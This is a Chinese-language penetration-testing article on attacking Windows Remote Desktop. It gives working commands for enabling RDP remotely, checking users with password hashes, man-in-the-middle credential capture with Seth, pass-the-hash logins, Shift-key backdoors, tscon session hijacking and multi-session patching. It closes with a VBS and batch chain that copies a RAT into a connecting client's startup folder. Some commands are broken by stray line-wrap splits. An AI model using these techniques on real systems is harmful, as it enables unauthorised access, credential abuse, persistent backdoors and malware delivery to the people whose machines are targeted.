本文作者 : 重生信安 - T3ngYu
**一、RDP 服务确定和启动 **
1. 确定RDP服务是否启动和服务端口
（1）注册表查询
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # 查看RDP服务是否开启：1关闭，0开启 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber # 查看RDP服务的端口
（2）进程查看
tasklist /svc | find "TermService" # 找到对应服务进程的PID netstat -ano | find "3220" # 找到进程对应的端口号
2. 启动RDP服务
（1）cmd 本地注册表启动
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConne ctions /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wi nStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f # 监听 3389 端口
也可以通过reg配置文件的方式启动：regedit /s startrdp.reg
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] "fDenyTSConnections"=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStation s\RDP-Tcp] "PortNumber"=dword:00000d3d
（2） 利用Wmic 启动远程主机的RDP服务
wmic /node: "192.168.1.160" /USER:"192.168.1.160\administrator" PATH win32_ermi nalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 # 需要输入远 程机器上管理员密码
二、RDP 用户登录前
- 有效用户获得&确定
（1） 明文密码：RDP爆破，SMB爆破（使用MSF中的smb_login 模块可以确定有效用户并判断是否是管理员组的）等工具
（2） Hash：Impacket工具包中的rdp_check.py 脚本可以通过hash确定目标机器是否存在枚举的用户
python rdp_check.py ./administrator@10.97.45.11 -hashes :618B18AD4171A53695DD99 7AB02D55C4
当用户存在时会提示 Access Granted，否者提示 Access Denied
（3） RDP中间人：Seth
./seth.sh eth0 10.0.0.2(myip) 10.0.0.3(client) 10.0.0.1(server) # 在10.0.0.2机器上，劫持由10.0.0.3向10.0.0.1的RDP申请，获得登录明文
执行后客户端链接服务器会失败，过段时间恢复正常
-
判断能否直接登录
通过上述步骤确定用户及密码后，如果用户是管理员组的可以直接通过别的方式在远程 主机上执行命令或者反弹shell，利用query user查看在线的用户或者利用tasklist查看远程主机上的进程是否有目标用户的进行判断。
但是如果普通的用户，那需要进一步判断目标系统来确定合适的登录时机
（1） Windows XP、2003 支持统一用户登陆多地登陆互不影响，使用query user查看在线用户，XP没有该命令也可以使用taskmgr从任务管理器查看，同一权限下可以相互注 销会话。
（2） 非服务器版本的Windows 系统默认只允许一个账户登录。当远程用户登录时使用与原系统相同的账户，原系统将切换到登陆页面，并会看到登陆的机器名
如果使用不同的账户，原系统将弹窗提示其他用户已登陆到此计算机
选择继续后，原系统将会提示是否端口当前链接（30s后默认选择同意，退出到登陆页面）
三、RDP 登录
- Windows 明文登录
mstsc.exe
- Linux 明文登录
rdesktop 192.168.1.5:3389
- Windows上用户hash 登录
（1） mstsc.exe
Server需要开启 Restricted Admin mode，在Windows 8.1Windows Server 2012 R2中默认开启，同时如果Win 7 和Windows Server 2008 R安装了2871997、2973351补丁也支持；Client需要支持 Restricted Admin mode，当前系统不支持，链接时将出现如下：
可以通过如下命令开启 Restricted Admin mode
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin / t REG_DWORD /d 00000000 /f
开启后使用：mstsc.exe /restrictedadmin 进行登录不需要密码，将使用当前用户的hash 进行验证
（2） mimikatz.exe
mimikatz.exe # 需要管理员权限
4 . Linux上使用用户hash登录
apt-get update
PS：这里有一个坑，高版本xfreerdp不支持 /pth 参数，可以使用上面的安装命令安装支持/pth的版本,也可以使用kali/parrot中默认安装好
PS2：如果RDP服务启动了，客户端无法链接，可能是防火墙配置的问题，可以执行如下命 令添加防火墙规则允许3389端口TCP通信
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in l
PS3：如果出现远程连接出现身份验证错误，要求的函数不支持，解决方法：
REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\ Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f
**四、关于 RDP 权限维持方法 **
1. 关闭 RDP 安全认证
当服务器开启安全认证时，必须先通过登陆密码才能进入远程桌面；如果服务端用的是 不安全的认证方式，即可以先远程链接后登陆可以触发Shift后门
如何设置不安全的连接，去掉”仅允许使用网络级别的身份验证的远程桌面的计算机连 接”选项，需要注意的是先上系统后验证也会在计算机本地留下一定的进程、日志。
2. Shift后门 + RDP劫持
配合上面的关闭RDP安全认证方式，利用Shift后门可以让攻击者快速获得System权 限，结合RDP劫持可以实现无需创建用户、不更改劫持用户登录时间、解锁劫持用户界面、 等功能。注意RDP劫持需要System权限
tscon id # (要劫持的用户id，query user查看)
另外一种方法可以通过创建服务激活
sc create rdpjack binpath="cmd.exe /k tscon 2 /dest:console" net start radjack # 执行后切换到目标界面下
Mimikatz中也有相关的利用模块
mimikatz.exe
3. 开启多人登录模式
设置完成后，使用相同的用户登录互不影响，不会有弹窗提示、锁屏等状况，和 Windows Server 2003相同。
（1）手动设置：将计算机配置（Computer Configuration）->管理模板 （Administrative Templates）->Windows组件（Windows Components）->远程桌面 服务（Remote Desktop Services）->远程桌面会话主机（Remote Desktop Session Host）->链接（Connections）,禁用”将远程桌面服务的用户限制到单独的远程桌面会 话”（Restrict Remote Desktop Services users to a single Remote Desktop Services session） （2）Mimikatz 开启多用户登录，支持Win 7 及以前的版本系统
mimikatz.exe
PS：使用与原系统相同的账户，原系统还是会被切换到登录界面；不同账户登陆成功 （3）RDPwrap：支持Win Vista - Win10
RDPWinst.exe -i is # 安装
（4）SharpDoor：仅使用于Win 10 开启多会话RDP
**五、RDP 服务器反打客户端 **
需要客户端RDP链接时，开启磁盘共享（将本地磁盘挂在到服务器上）才能正常利用
- RDPInception：在服务端开启，修改bat脚本执行powershell、exe或者dll，等待客 户端连接拷贝到客户端启动项中（需要客户端共享文件）执行，每次启动尝试链接。
2. 手动利用过程：假设客户端和登录服务器的用户都是Administrator
（1）在服务器端设置Administrator 启动项 目，C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs
\Startup\powershell.vbs 作用是无弹窗执行bat脚本
set ws=WScript.CreateObject("WScript.Shell") ws.Run "C:\Windows.bat",0 ws.Run "cmd /c del C:\Windows\Temp\service.exe",0
（2）Windows.bat 脚本内容实现马（service.exe）拷贝到客户端的启动目录
copy "C:\Windows\Temp\service.exe" "\\tsclient\c\Users\Administrator\AppData\Ro aming\Microsoft\Windows\Start Menu\Programs\startup\service.exe"
也可以根据实际情况，将Rat拷贝到客户端的其他目录，将激活脚本拷贝到客户端启动目 录；如果不出网的情况下，也可以将exe替换成要执行的脚本 。
